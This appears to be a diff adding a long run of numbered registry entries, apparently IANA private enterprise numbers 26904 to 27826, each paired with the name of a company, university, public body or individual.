+26904 Kathmann Consulting, LLC
+26905 Aboundi Inc.
+26906 Westfax Inc.
+26907 Joe Lewis
+26908 Pictor Solutions, Inc.
+26909 SUBNET Solutions Inc.
+26910 Studentersamfundet ved Aalborg Universitet
+26911 Trend Micro Inc. (formerly 'Third Brigade Inc.')
+26912 Cheiron
+26913 Group Logic, Inc.
+26914 TIME Networks Inc,.
+26915 Wolfpac Mobile, Inc.
+26916 1822direkt Gesellschaft der Frankfurter Sparkasse mbH
+26917 Netconsulting
+26918 AF Kursor-Audit Ltd.
+26919 Danpex Corporation
+26920 TXT e-solutions SpA
+26921 MPI for Mathematics
+26922 TD2 Consulting, LLC
+26923 Baptist Health South Florida
+26924 Knewco, Inc.
+26925 Enigma Data Solutions Ltd.
+26926 Masstech Group, Inc
+26927 Extant Networks
+26928 Aerohive Networks, Inc.
+26929 jv consultant
+26930 php-systems.com
+26931 Reaktor Innovations Oy
+26932 Visma Software ASA
+26933 Tridion B.V.
+26934 Tattile S.r.l.
+26935 Oseo
+26936 Ville de Marseille
+26937 Yahata Kosei Hospital
+26938 Worldgroup Consulting Sdn Bhd
+26939 Tenwa Ltd.
+26940 The Economist
+26941 Johnstone Associates
+26942 AIM Professional Systems Ltd
+26943 dieMosers.org
+26944 Icross Technology
+26945 INTECH
+26946 Aditi Technologies
+26947 MIPC Ltd.
+26948 Lambda Research Inc.
+26949 InterComputer Corp.
+26950 GUST / Ninja Services
+26951 RENAULT-NISSAN B.V.
+26952 Joint-stock company "Bank SOYUZ"
+26953 Astronix Technology Inc.
+26954 INdustrias Sola Basic, SA de CV
+26955 Avalon Networks LLC
+26956 AG04 Innovative Solutions
+26957 Kognita
+26958 Indu-Sol GmbH
+26959 www.brianmichael.org
+26960 VEM Manutenção e Engenharia S/A
+26961 TantaComm Systems
+26962 KPMG International
+26963 ISEANE
+26964 van Deenen Support
+26965 Thomas Parquette
+26966 Iskoot Israel Ltd.
+26967 Assotiation Mir Ltd
+26968 KielNET GmbH
+26969 Bisping & Bisping GmbH & Co. KG
+26970 Doellken Kunststoffverarbeitung GmbH
+26971 Kudra Technical Services
+26972 Cimices (formerly 'Quetz Limited')
+26973 Tomato Vine, Inc.
+26974 Disk Bridge
+26975 CompanyName
+26976 NexG Co., Ltd.
+26977 Qball Technologies Ltd.
+26978 next layer GmbH.
+26979 Grenkeleasing AG
+26980 Dudley PCT
+26981 Schrack Energietechnik GmbH
+26982 R2 GmbH
+26983 RWD Technologies
+26984 Otto-Petersen-Haus
+26985 ENET Inc.
+26986 Southwest Research Institute
+26987 Gemini Mobile Technologies, Inc.
+26988 7-Eleven, Inc
+26989 INTEGRITY Ltd.
+26990 Hudson Digital Systems Inc.
+26991 Develer S.r.l.
+26992 ENTEL S.A.
+26993 Promwad Innovation Company
+26994 opensma
+26995 Public Joint-Stock Company "Baltiyskiy Bank"
+26996 Qmax Communications
+26997 Studer Professional Audio GmbH
+26998 Ultra Electronics (formerly 'AudioSoft Ltd.')
+26999 Grace Community Church of Howard County, Inc.
+27000 Magistrat Linz, AT
+27001 optionsXpress, Inc.
+27002 Zayo Group (formerly 'Onvoy, Inc.')
+27003 Trigence Corp
+27004 HOT Telecom Ltd.
+27005 Hackwerk.net
+27006 Chalktime
+27007 Luceor S.A.S.
+27008 Unified Game
+27009 Bitrail Networks
+27010 LBM Systems, LLC
+27011 Sagamore Systems, Inc
+27012 CASAudit, Inc.
+27013 TeleDirect International Inc.
+27014 CommGate Systems India Pvt Ltd
+27015 East Coast Access (PTY) Ltd
+27016 Alphito d.o.o.
+27017 world-direct eBusiness Solutions GmbH
+27018 TDC Switzerland AG
+27019 Envision Network Technologies Pvt. Ltd.
+27020 Pan Asian Certificate Policy Authority Limited
+27021 Pactiv Corp.
+27022 Instrumentation Technology Systems Corporation
+27023 Nexant, Inc.
+27024 I-Connect Inc
+27025 VisionAlive GmbH
+27026 ILIRIKA D.D.
+27027 ESTEAM Software GmbH
+27028 Torgservis Ltd.
+27029 REH
+27030 Wichorus Inc.
+27031 CNS Technology Inc.
+27032 Sobey Digital Technology Co. Ltd.
+27033 OK soft GmbH
+27034 Hopling Technologies B.V.
+27035 Alamon Telco, Inc.
+27036 Mercy College
+27037 Netmarks, Inc.
+27038 Robot Visual Systems Gmbh
+27039 Kehitysyhteistyön palvelukeskus ry.
+27040 Royal Canadian Mounted Police
+27041 KEMET Corporation
+27042 UNIVERSIDAD DE COLIMA
+27043 Centro de Informatica e Automacao do Estado de Santa Catarina
+27044 CLUSTERPOINT LTD.
+27045 Santillana de Ediciones S.A.
+27046 Alex Group, spol. s r.o.
+27047 ASK Interactive UK Ltd
+27048 Opteq Systems International Ltd
+27049 Symark Software
+27050 Warrior Technology Services, Inc
+27051 Chipidea Microelectronica S.A.
+27052 Bay Microsystems, Inc.
+27053 Omnitromics Pty Ltd
+27054 Oneida Baptist Institute
+27055 ZANDER LLC.
+27056 Zednax Limited
+27057 Elektrobit Automotive GmbH (formerly '3SOFT GmbH')
+27058 Ventelo Norge AS
+27059 SmartSol d.o.o.
+27060 interactive instruments
+27061 NetSENS SRL
+27062 OSTIUM-Soluções de Engenharia Lda
+27063 IMocha Consulting Sdn Bhd
+27064 University of St. Thomas - Houston
+27065 Quagility, Inc.
+27066 Rave Wireless, Inc.
+27067 Softinbox Inc.
+27068 Mooter Media Ltd
+27069 Kaon Media Co., Ltd.
+27070 DekTec Digital Video B.V.
+27071 HÃ¥logaland IKT-Senter as
+27072 Euro-emme s.r.l.
+27073 Septentrio nv/sa
+27074 Point International
+27075 RDP B92 a.d.
+27076 Zot Inc.
+27077 Nanasoft Szoftverfejlesztõ Bt.
+27078 lohn.us
+27079 AT Promotions Limited
+27080 Sequanux
+27081 Trimm, Inc.
+27082 CESMIC - Centro de Excelência em Servidores de Missão Crítica
+27083 Switching Technologies
+27084 Arnulf Wiedemann
+27085 Greenview Data, Inc.
+27086 Texas Transportation Institute
+27087 Networking Systems
+27088 Supreme Court of New Mexico
+27089 Guus Leeuw IT Solutions
+27090 Nectia SA
+27091 Brilliant Telecommunications Inc.
+27092 Astronautics Corporation of America
+27093 YUSO.JP
+27094 RANEEN
+27095 Portfolio Wired
+27096 Cadet Family
+27097 Aphelion Communications Inc
+27098 SOE Software Pty Ltd
+27099 Bunda Mulia University
+27100 SwiftView, Inc.
+27101 EMBARC.biz, LLC
+27102 GDMC
+27103 Romanian Space Agency (ROSA)
+27104 CFT Ltd.
+27105 SoftMethod GmbH
+27106 Averina Software
+27107 Supporting Open Source bvba
+27108 Micro Elektronische Producten BV
+27109 Barnaul State Pedagogical University
+27110 Petrozavodsk State University, Computer Science Department
+27111 Adamentium SAS
+27112 MATHEMA Software GmbH
+27113 APCO Worldwide
+27114 electrolyte consulting
+27115 Qbit GmbH
+27116 Freesystems S.L.L.
+27117 Tux-Logic
+27118 Grontmij NV
+27119 ID90 Technologies
+27120 Smar Equipamentos Industriais LTDA
+27121 ikirby.net
+27122 Shadowcat Systems Ltd.
+27123 ICOP Digital, Inc.
+27124 Kociok Beratungsgesellschaft mbH
+27125 Accuity LLP
+27126 Universidade Federal de Sao Carlos
+27127 Systems and Software, Inc.
+27128 Landeshauptstadt Hannover
+27129 Department of Conservation, New Zealand
+27130 TehnoCom Ltd.
+27131 kk+w GmbH
+27132 APIS IT d.o.o.
+27133 Hensley, Elam & Associates
+27134 Bangladesh Online Limited
+27135 77 Elektronika Kft
+27136 Osaka Gas Information System Research Institute Co.,Ltd.
+27137 Proxicom, Inc.
+27138 Techno Viking
+27139 My2do Solutions
+27140 Acrodyne Industries, Inc.
+27141 Applied Informatics Software Engineering GmbH
+27142 ALSTEC
+27143 DirectPark GmbH
+27144 Transact Limited
+27145 GrahamCox.co.uk
+27146 Infocentr Company Ltd.
+27147 Mobissimo, Inc.
+27148 ICP-SC
+27149 Wenzhou University
+27150 Angelltech Co., Ltd.
+27151 SK C&C
+27152 Institut für Kristallzüchtung Berlin
+27153 Matzke Softwareentwicklung
+27154 Telekomunikacja Polska S.A.
+27155 MR Copiadoras Digitais Ltda.
+27156 Warlei Alves
+27157 Quartet Financial Systems Inc.
+27158 Department of Internal Affairs, New Zealand
+27159 Persistent Systems, LLC
+27160 PlaSec, Inc.
+27161 DeGooroo, Inc.
+27162 Serveis de Salut Integrats Baix Empordà
+27163 Dolphin Technology Inc
+27164 CNET Networks Asia Pacific Pte Ltd
+27165 Universidade Tecnológica Federal do Paraná (UTFPR)
+27166 Checchia.NET IT Consulting
+27167 NIPPON ANTENNA CO.,LTD.
+27168 Edward Roper
+27169 Erlang Financial System (Pty) Ltd
+27170 ETHALON GmbH
+27171 Council of the European Union
+27172 ArcaBit Ltd.
+27173 Software Consulting Markus Bernhardt GmbH
+27174 Guenther Mair
+27175 iO tech s.r.l.
+27176 Avinity Systems BV
+27177 Intendencia Municipal de Montevideo
+27178 ISIB CNR
+27179 Ultri
+27180 Frontier Science and Technology Research Foundation, Inc.
+27181 Teak Technologies
+27182 CAI Networks, Inc.
+27183 Bluewave Networks Inc.
+27184 UNAVCO
+27185 Vendorama LTD
+27186 shenzhen qiaowei investment & development co.,Ltd
+27187 VALIANT COMMUNICATIONS LIMITED
+27188 SEP Software Engineering Partner GmbH
+27189 DD NetService GmbH
+27190 michaelbreuer.eu
+27191 Godalming College
+27192 Soongsil University
+27193 Patrick Monahan (Drogheda) Ltd
+27194 DELTA Resources Inc.
+27195 Stadtwerke Duesseldorf AG
+27196 Harder Software Ltd.
+27197 Heteonix
+27198 Réseau pour l'Excellence en Enseignement Supérieur de l'Afrique de l'Ouest(RESAO)
+27199 Sepracor Inc.
+27200 Energy Options, Inc
+27201 Vianel
+27202 Business Systems UK Ltd
+27203 Celesio AG
+27204 Seawolf Technologies Inc.
+27205 GridApp Systems, Inc
+27206 Bitshift, Berchtold IT Solutions
+27207 SevOne Inc
+27208 Opinsys Oy
+27209 Lendworx, Inc.
+27210 Suso Technology Services, Inc.
+27211 Engsound Technical Enterprise Co., Ltd.
+27212 Routing International NV
+27213 Banka Slovenije
+27214 Holzhausen Network
+27215 MAGIX AG
+27216 Patryk Sciborek
+27217 Digisense Inc.
+27218 GASAG Berliner Gaswerke AG
+27219 Funambol, Inc.
+27220 EFCO Corporation Inc.
+27221 Diebold Software Solutions Inc
+27222 Pathway Connectivity Inc.
+27223 Alcon Technologies, Inc
+27224 OhReally
+27225 Chiris Networks, Inc.
+27226 Asociación Grupo Universitario de Informática (Universidad de Valladolid)
+27227 SC SECPRAL COM SRL
+27228 DSP Group Inc.
+27229 Engineers Without Borders Canada
+27230 E-Portal
+27231 Big Sky Computer Systems LLC.
+27232 BATM Advanced Communications GmbH
+27233 La-Events
+27234 PortAuthority Technologies Inc.
+27235 Politechnika Gdanska
+27236 VOID.PL LTD (formerly 'Netoracle Ltd.')
+27237 Smart Data Solutions, Inc.
+27238 Winbond Electronics Corp.
+27239 USC-Satunama
+27240 Headnet aps
+27241 IDC Informatica s.r.l.
+27242 Bilfinger SE (formerly 'Bilfinger Berger AG')
+27243 Signal Networks Pvt. Ltd.
+27244 IronGate S.L.
+27245 Maltacom plc
+27246 Järfälla Kommun, För- och Grundskolor
+27247 Radian Group Inc.
+27248 Computer Programs and Systems Inc. (CPSI)
+27249 Picosoft Ltd.
+27250 West Linn Paper Company
+27251 MedStreaming
+27252 Excapsa Services Inc.
+27253 AusRegistry Pty Ltd
+27254 FIX Flyer LLC
+27255 Tarkhany Regional (County) Open Joint-Stock Bank
+27256 NPF "KRUG"
+27257 Valimo Wireless Oy
+27258 NovaSecure AS
+27259 BEL POWER SOLUTIONS (formerly 'Power-One')
+27260 DynaPel Systems Inc.
+27261 Servicios Avanzados para las Instituciones S.L.
+27262 DANTE Ltd.
+27263 Netsmart Public Health, Inc.
+27264 Nmodel
+27265 Inlet Technologies, Inc.
+27266 freecode
+27267 Encryptanet, Inc.
+27268 Hangar Eighteen Enterprises LLC
+27269 Mynavi Corporation
+27270 KoSyS - Kockisch ITK Systems and Services
+27271 Structured Software Systems Ltd
+27272 Envisioneering Medical Technologies
+27273 Infinite Video Corporation
+27274 Fastfeed Inc.
+27275 Alexcoder
+27276 Technovare Systems, Inc.
+27277 SatPath Systems, Inc.
+27278 Sindoh Co., Ltd.
+27279 GoldenNet Technology Inc.
+27280 Università Degli Studi di Urbino "Carlo Bo
+27281 Netcon Systems
+27282 Realtek Semiconductor corp.
+27283 Xcenium Technology
+27284 Daon Trusted Identity Services (formerly 'Security Biometric Clearing Network')
+27285 The Nisu research team
+27286 Netopia, Inc.
+27287 University Of Perugia
+27288 MySystemAdmin
+27289 eGistics, Inc.
+27290 Beijing Osee Digital Technology Co.Ltd
+27291 Bundesministerium für Verkehr, Bau und Stadtentwicklung
+27292 Topex S.A
+27293 Melian Italia SRL
+27294 MacSpecialist
+27295 Axel Technology srl
+27296 Blizzard Entertainment
+27297 SchechterTech LLC
+27298 Asia Pacific Broadband Wireless Communications
+27299 Informed Computing
+27300 TRANSCOM TECHNOLOGIES CO.,LTD
+27301 galaxy.io
+27302 Der Senator für Bildung und Wissenschaft
+27303 Clear Value
+27304 DKT A/S
+27305 Satis Superque Merce BV
+27306 Automated Computing Machinery, S.L.
+27307 Rankin County School District
+27308 Unique Communications Inc.
+27309 SSRC Media, LLC
+27310 NetIDEAS, Inc.
+27311 Seni Systems, Inc.
+27312 EDA LTD.
+27313 Sintrex Integration Services Pty. Ltd.
+27314 Del Systems d.o.o.
+27315 Internet Management Technology Laboratory
+27316 Schoeppner
+27317 Extreme Engineering Solutions, Inc
+27318 ISE Inc.
+27319 Nexen Inc.
+27320 Kingsbury Inc.
+27321 Ready Technology (UK) Limited
+27322 21Net Ltd.
+27323 Kei Communication Technology Inc.
+27324 Semejny Doktor
+27325 Ubiquitech A/S
+27326 EUIT Telecomunicacion, Universidad Politécnica de Madrid
+27327 Mobizoom AG
+27328 ROSA - Dansk Rock Samråd
+27329 Business Education Council of Niagara
+27330 LKHP Inc.
+27331 JTG 99 ApS
+27332 Sogeti
+27333 Buzz Systems Ltd.
+27334 Multidyne Electronics Inc.
+27335 Ritek ZRt.
+27336 Converged Access, Inc.
+27337 CableServ Inc.
+27338 ATEME
+27339 Project Automation S.p.A.
+27340 OpenVPN Solutions LLC.
+27341 Medianstrip
+27342 Haskology Consulting
+27343 "Telekom Srbija" a.d.
+27344 Dallmeier electronic GmbH & Co.KG
+27345 Alticor, Inc
+27346 VDA Elettronica spa
+27347 Alexandrow Webhosting
+27348 Blue Spruce Technologies, Inc.
+27349 Lonardi.org
+27350 QEW Europe
+27351 Medizinische Fakultät Carl Gustav Carus Dresden an der Technischen Universität Dresden
+27352 MAYWIDE TECHNOLOGY CO.,LTD.
+27353 ELTA
+27354 epona.org
+27355 University Politechnical of Bucharest
+27356 DWESAB Engineering
+27357 ANDROME NV
+27358 Technology Dynamics, Inc.
+27359 HILTRON GmbH
+27360 NLS Technology LLC
+27361 Rizon Software Technology Co.,Ltd.
+27362 Symbio Technologies, LLC
+27363 TvHead, Inc.
+27364 Axioma Inc.
+27365 Softech Worldwide LLC
+27366 INSIGNIA MOBILE COMMUNICATIONS,C.A.
+27367 Visonys AG
+27368 Business I.T. Systems Ltd
+27369 Estçe Lauder Inc
+27370 Hennepin County
+27371 AspellClark
+27372 Progenist Systems Inc.
+27373 Quickpoint Solutions Limited
+27374 MakeITOpen.Net
+27375 IT-Systemhaus Thomas Wiese
+27376 Triple-It ApS
+27377 Groupster
+27378 Belden
+27379 NESS Consulting Ltd
+27380 PCS Process Control Systems AG
+27381 Myndit Pty Ltd
+27382 OmniAccess S.L.
+27383 Theo Benning GmbH & CoKG
+27384 WiE GmbH - Werk für industrielle Elektronik
+27385 ELCON Systemtechnik GmbH
+27386 Farmers Group Inc.
+27387 IHOP Corp.
+27388 Wiremat Ltd
+27389 Splunk, Inc.
+27390 iCoGo Inc.
+27391 Braintribe IT Technologies
+27392 SCHILLER
+27393 Metrovacesa, S.A.
+27394 NOSMadeira
+27395 AVANSI C. por A.
+27396 Open Journal Project
+27397 Praxis Balster-De Beer
+27398 Bernd Haug
+27399 Ross Video Limited
+27400 Randolph-Macon College
+27401 Dataupia Corporation
+27402 TaTrad GmbH
+27403 Frontier IT
+27404 SimpleComTools
+27405 René Faigle AG
+27406 Center Communication Systems GmbH
+27407 BUROTEC
+27408 Hotelplan AG
+27409 Mondi Packaging AG
+27410 SkoleSYS A/S
+27411 Curtis J Coleman
+27412 Icsoft Pty Ltd
+27413 Labs2 i Lund AB
+27414 Stadt Chemnitz
+27415 SiRF Technology, Inc.
+27416 Elvaco AB
+27417 FAST LTA GmbH
+27418 FiSEC GmbH
+27419 University of New England
+27420 Southside Community Hospital
+27421 Synergy for Smart Solutions
+27422 Inter Cars S.A.
+27423 Potts Mullarkey
+27424 Firstin Wireless Technology
+27425 Affinity Mobile, Inc.
+27426 VIASOFT Ltd., Ukraine
+27427 Vecima Networks Inc.
+27428 Intesys S.r.l.
+27429 IT Service Zahner
+27430 Call Genie Inc
+27431 Steton Technology Group, Inc.
+27432 Archalien.com
+27433 Centeris Corporation
+27434 Hal's Software, Inc.
+27435 Aozora Information Systems Co. Ltd.
+27436 Jefferies & Company, Inc.
+27437 TOA Corporation
+27438 Eric Lindahl
+27439 OpenAgentSystem
+27440 Ingo Lantschner
+27441 PEM GmbH
+27442 SAPERION AG
+27443 yLabs SRL
+27444 Murphy Software B.V.
+27445 InforMed, LLC
+27446 PAHL.NET systems
+27447 Femtio Procent Data AB
+27448 The Aero Group, Inc.
+27449 Universidad de Buenos Aires
+27450 RealOrganized, Inc.
+27451 Aurcon Computer Services
+27452 Billings Clinic
+27453 LANE COMPANY
+27454 NeoMentis Ltd
+27455 Schlesinger Associates, Inc.
+27456 University of Warwick
+27457 Joomla! (OpenSourceMatter Inc)
+27458 Flo Healthcare
+27459 INTLNET
+27460 Digital Maelstrom LLC
+27461 Knit One Pearl One
+27462 Bubble Motion Pte Ltd
+27463 ThüCom GmbH
+27464 Projekty Bankowe Polsoft sp. z o.o.
+27465 Domodesk S.L.
+27466 Inter IKEA Systems BV
+27467 NETHINKS GmbH
+27468 ELTA-R
+27469 Glowlink Communications Technology Inc.
+27470 Kuorem IT Consulting s.l.
+27471 Kotelett Group
+27472 Peak Web Consulting, Inc.
+27473 Consejo de la Magistratura de la Ciudad Autonoma de Buenos Aires
+27474 Multi Co
+27475 CiriTech Systems, Inc.
+27476 MicsGarage
+27477 Ethrix ltd.
+27478 Boekingspunt Nederland BV
+27479 Projekt 42! GmbH
+27480 FORSIS GmbH
+27481 Arzl Datentechnik
+27482 G2 Microsystems Pty Ltd
+27483 OpenSIPS.ORG (formerly 'OpenSER.ORG')
+27484 Eightwire.com Limited
+27485 JSC Public Key Infrastructure
+27486 swissgeek.org
+27487 Kent County Council
+27488 A.T.U Handels GmbH
+27489 Evangelisch-Lutherische Landeskirche in Braunschweig
+27490 SP Swedish National Testing and Research Institute
+27491 Freeport Technologies Inc.
+27492 Major Hospital
+27493 Dirección de Tecnología Educativa
+27494 Seatore Technology
+27495 Optiway
+27496 MALAIWAH.COM
+27497 Fiducial Staffing
+27498 Innovative Technology Solutions, LLC
+27499 Operations Feedback Systems Pty. Ltd.
+27500 Dawning Ltd.
+27501 Seldon Systems, Inc.
+27502 ARAB BANKING COPORATION
+27503 TD Computer Solutions GmbH & Co. KG
+27504 Celtius Ltd
+27505 KT-NET Communications GmbH
+27506 Object Builder Software - Bulgaria
+27507 Automation Control Products Inc.
+27508 TravelCenters of America
+27509 Creanord Ltd.
+27510 NetGain Systems Pte. Ltd.
+27511 Gigante Inc.
+27512 M3 Technology Group
+27513 Pro-E Automation Sdn Bhd
+27514 QTECH LLC
+27515 Stockholms stad
+27516 NIVC AS
+27517 GT50 Srl (formerly 'Secure Edge Srl')
+27518 ProMedica Health System
+27519 Pozicom Technologies, Inc.
+27520 International Electronic Communication Analysts (IECA), Inc.
+27521 eMusic.com, Inc.
+27522 Municipio de la Ciudad de Monterrey
+27523 runlevel3 GmbH
+27524 TRIAX CZ s.r.o.
+27525 DET 1 AFEREG
+27526 Kanazawa University
+27527 ABB Ltd
+27528 Dragon Stock labo Inc.
+27529 dri, Consultoria Informática Lda
+27530 decontis GmbH
+27531 Planned IT Solutions, Inc.
+27532 Hancock Regional Hospital
+27533 BKE a.s.
+27534 Widestore srl
+27535 Artwork Systems nv
+27536 SANTECLAIR
+27537 Educatio Public Services Non-profit Llc.
+27538 ADTSystems s.r.o.
+27539 Pacific DataVision, Inc.
+27540 SIMPPLE S.L.
+27541 ITS Group
+27542 COSAT INC.
+27543 Gillware Data Services, LLC
+27544 NSK OpenSource, Inc
+27545 NINOMIYA TOWN
+27546 American University of Beirut
+27547 Four Batons Technology
+27548 KRS Hardware Monitoring Development
+27549 TELESANTE AQUITAINE
+27550 Alchemy Group Limited
+27551 Farheap Solutions Inc.
+27552 Nimbus, Inc.
+27553 Salem Academy and College
+27554 PureTech Systems Inc.
+27555 Rosum Corporation
+27556 The PTR Group Inc
+27557 Botech AB
+27558 IHMC
+27559 Data Science Group, Inc
+27560 Alan Dick and Company Ltd
+27561 Indeca
+27562 daemon software
+27563 QStar Technologies, Inc.
+27564 UNIFAL-MG - Universidade Federal de Alfenas
+27565 Ministerio de Industria Turismo y Comercio
+27566 Vizrt Group
+27567 Baur GmbH
+27568 Kupetto
+27569 National Digital Medical Archive, Inc.
+27570 GiaRoCo
+27571 Guenther Brunthaler EDV Dienstleistungen
+27572 CEOS Integradores de Sistemas C.A.
+27573 TechGuard Security, LLC (formerly 'the-ferret.net')
+27574 10MT Co.
+27575 DSL Internet Corporation
+27576 Envysion, Inc
+27577 R. D. Pierce
+27578 cartchunk.org
+27579 Keltron Corporation
+27580 Integrity Soluções em Informática Sociedade Simples
+27581 Netum Oy
+27582 pH Group Ltd
+27583 Metronik d.o.o.
+27584 Upplysningscentralen AB
+27585 Orange Nederland BV
+27586 Altai Technologies Limited
+27587 Shinto Densan Corporation
+27588 KingsIsle Entertainment, Inc.
+27589 ZBN (Zhengzhou Broadcasting TV Network) Co. Ltd.
+27590 Cardinal Information Systems Ltd.
+27591 Bit-Side GmbH
+27592 Beijing NetEast Technologies Corporation Ltd
+27593 Media Excel, Inc.
+27594 Skipper Wireless, Inc.
+27595 NWP-Technologie Informatyczne
+27596 NONNIC
+27597 CADIGS Ltd.
+27598 Ayuntamiento de Madrid - Policia Municipal
+27599 BIT-Kazan Ltd.
+27600 C?!., C por A
+27601 Higher Institute for Applied Sciences and Technology (HIAST)
+27602 Woodforest National Bank
+27603 Groove Mobile
+27604 Tetralogyx
+27605 Urzad Miasta Stolecznego Warszawy
+27606 Global NetWatch, Incorporated
+27607 Skin and Cancer Foundation Inc.
+27608 Wuhan Yangtze Optical Technology Co., Ltd
+27609 Dash Navigation Inc.
+27610 Solarcore, Inc.
+27611 Traffix Systems Ltd
+27612 SmartStream Technologies
+27613 AlbaNova University Center, the Stockholm Center for Physics, Astronomy and Biotechnology
+27614 Ascom Sweden AB
+27615 devolo
+27616 Phaedrus Ltd
+27617 PayEx Solutions AB
+27618 Sihl + Eika Papier AG
+27619 BeWAN Systems
+27620 GS1 Uruguay
+27621 National Information Technologies JSC
+27622 Open Communication Security S.A.
+27623 Shavlik Technologies LLC
+27624 Metanoia Communications Inc.
+27625 UZ Brussel
+27626 SK-NIC, a.s.
+27627 Ceskoslovenska obchodni banka, a.s.
+27628 Unum Group
+27629 Helenic Ministry of Interior Public Administration and Decentralization / Helenic Public Administra
+27630 OSI ste civile etudes et recherches
+27631 Touchstone Technologies Inc.
+27632 MVNO Sherpa
+27633 Eternix Ltd.
+27634 ABC Phones of NC Inc.
+27635 Wholesale Communications Group P/L
+27636 F. Camara Informática Ltda
+27637 Lateral Networks Ltd
+27638 Gulf Interstate Engineering
+27639 Electronic Communications Network (Pty) Ltd
+27640 Telefonica Moviles España, S.A.
+27641 Junta de Extremadura
+27642 Manuel Linsmayer
+27643 Zeda Ltd.
+27644 CFC Informationssysteme Entwicklungsgesellschaft m.b.H.
+27645 PostgreSQL Global Development Group
+27646 Systems Engineering & Assessment Ltd
+27647 Iskra Zascite d.o.o.
+27648 ESPCI
+27649 Hay Systems Limited
+27650 Herward Hoyer
+27651 ProConsultant Informatique
+27652 SUNY
+27653 MyRunning.com
+27654 Tain Malta Ltd. (formerly 'Involve Ltd.')
+27655 IFP
+27656 HafenCity Universität Hamburg
+27657 Hugh McLenaghan
+27658 Agemarks Technologies
+27659 Atol, Conseils et Développements
+27660 Deutsche Welle
+27661 GateSquare Co., Ltd.
+27662 PePWave Ltd.
+27663 AFP548.com
+27664 Intuicom, Inc.
+27665 ISR Inc.
+27666 NF Media Inc.
+27667 Apprion, Inc
+27668 Olivier Molteni
+27669 easyRAID
+27670 Tirol Kliniken GmbH.
+27671 ATL Systems, Inc.
+27672 Electool Systems Kft.
+27673 QUOD Financial SA
+27674 Mobibrasil Soluçoes Interactivas pela internet
+27675 Curtiss-Wright Controls, Inc.
+27676 Motionbox, Inc
+27677 Evolution Broadcast Pty. Ltd.
+27678 Jazzio
+27679 The Hyde Company
+27680 NEMO ENG
+27681 Technorati Inc
+27682 ALBA Software S.L.
+27683 Mscorp Venezuela C.A.
+27684 Idopte
+27685 Trent University
+27686 Refactored Networks, LLC
+27687 DataMirror Corporation
+27688 Keane, Inc.
+27689 Enertel Wireless BV
+27690 Arqiva
+27691 Framework Computer Consultants Limited
+27692 Thinware s.r.l.
+27693 Voith AG
+27694 UTU Inc.
+27695 Meteor Mobile
+27696 AttoSense
+27697 GRAVITY CIS INC
+27698 Vaal Hosting
+27699 Tyche Enterprises, LLC
+27700 Open Diameter Project
+27701 Origin Electric co.,Ltd.
+27702 Beijing Softtone Company, Ltd.
+27703 CABO Communications A/S
+27704 Keisokugiken Corporation
+27705 1984 ehf
+27706 E-commerce-xhtml 1.1 dot com
+27707 Siminn
+27708 ISB Brachert
+27709 Software Applications
+27710 hostNET Medien GmbH
+27711 1053935 Alberta Ltd.
+27712 Managing Company SB JSC
+27713 Ethon
+27714 Arne Steinkamm
+27715 Posterity Technologies Co. Ltd
+27716 Minnesota State Colleges and Universities
+27717 CeDoc Modena
+27718 Selfservix IT-Service
+27719 Vizioncore, Inc.
+27720 SBone.DE
+27721 Dotster, Inc.
+27722 Pennic Consulting Inc
+27723 Permessa Corporation (formerly 'DYS Analytics, Inc.')
+27724 Opticomm Corporation
+27725 Asurion
+27726 Executive Coach Inc.
+27727 Antartec S.A.C.
+27728 Datron World Communications, Inc
+27729 US Technology Resources LLC
+27730 Leporis Corporation
+27731 Western Power
+27732 OnionSoftware, Inc.
+27733 ASW Systems s.r.o.
+27734 Squitel
+27735 YawaBureau s.r.l.
+27736 Smile Ltd.
+27737 Berendsen Group Services GmbH
+27738 VERIT Verwaltungs- und Immobilien-Gesellschaft
+27739 Taunis GmbH
+27740 ADFC LV Berlin e.V.
+27741 AAA Carolinas
+27742 Flying Horse Studios
+27743 Daftano (formerly 'Shaney')
+27744 Majik Networks Inc.
+27745 4Step Ltd.
+27746 The institute of science and technology
+27747 CAMINO MO
+27748 Canon Korea Business Solutions Inc.
+27749 Stennis Institute of Government
+27750 GoodsoftwareLab Co. Ltd.
+27751 Firefly FZ LLC
+27752 4A Consulting AB
+27753 Nucleo Operacional para a Sociedade de Informação (NOSI)
+27754 Affinite Corporation
+27755 FiveRuns
+27756 Renaissoft, Inc.
+27757 Solis Energy, Inc.
+27758 ServiceSoft Sdn. Bhd.
+27759 Sense8 UK Ltd.
+27760 Novo Mundo Moveis e Utilidades Ltda
+27761 System One GmbH
+27762 Fixe-Post
+27763 Accuratus Consulting, LLC.
+27764 DONG Energy A/S
+27765 Welltrans O&E Technology Co. , Ltd.
+27766 Grid Net, Inc.
+27767 JavaService Consulting
+27768 Gesellschaft für Netzwerk- und Automatisierungs-Technologie mbH (N.A.T.)
+27769 Université de Perpignan Via Domitia
+27770 MIS Corporate Defence Solutions
+27771 EVOLIS
+27772 Sidon GmbH
+27773 Zabiuk
+27774 CenturyTel, Inc.
+27775 Site Monitoring Solutions Inc.
+27776 IDAC Ltd.
+27777 Auptyma Corporation
+27778 UnState educational establishment of additional education "Educational center "Meson"
+27779 OFFRATEL
+27780 Public Surplus, LLC
+27781 Ministerio de Empleo y Seguridad Social (formerly 'Ministerio de Trabajo e Inmigracion')
+27782 OnFin
+27783 Mulder Innova BV
+27784 Sensata Technologies
+27785 Vialogy
+27786 Five Mile Capital Partners, LLC
+27787 Compart AG
+27788 eco-warehouse
+27789 Catalina Technologies
+27790 S5 Wireless Inc
+27791 eMobile Networks Inc.
+27792 Editure Ltd
+27793 mythofbutterfly.com
+27794 GENETEC Corporation
+27795 Guardian Equipamentos Eletronicos Ltda
+27796 Embedded Control Logic Corp.
+27797 Nata-Info Ltd.
+27798 SES NEW SKIES B.V.
+27799 7iD Technologies GmbH
+27800 PKE Electronics AG
+27801 Fejer Megyei Szent Gyorgy Hospital
+27802 NEXPLORE
+27803 HTH Consulting GmbH
+27804 Bernard Matthews Foods Ltd.
+27805 Compagnia Assicuratrice Unipol S.p.A
+27806 University of Malta
+27807 Hawa AG
+27808 SKELVISION SARL
+27809 La Mamma Ind. de Alimentos Ltda.
+27810 Qovo Systems
+27811 Ellsworth School System
+27812 voipDS - Voice Over IP Directory Services
+27813 linux-on.com
+27814 Chiang Family
+27815 Advanced UniByte GmbH
+27816 WES Power Technology Inc.
+27817 Thorcom Systems Ltd.
+27818 Vapo Oy
+27819 Calaveras Internet
+27820 121Media Inc.
+27821 Unihost Partnership
+27822 Comtech Mobile Datacom
+27823 Marienfeld Multimedia GmbH
+27824 Renzoo Ltd
+27825 Battery Force Ltd.
+27826 Bharat Forge Kilsta AB
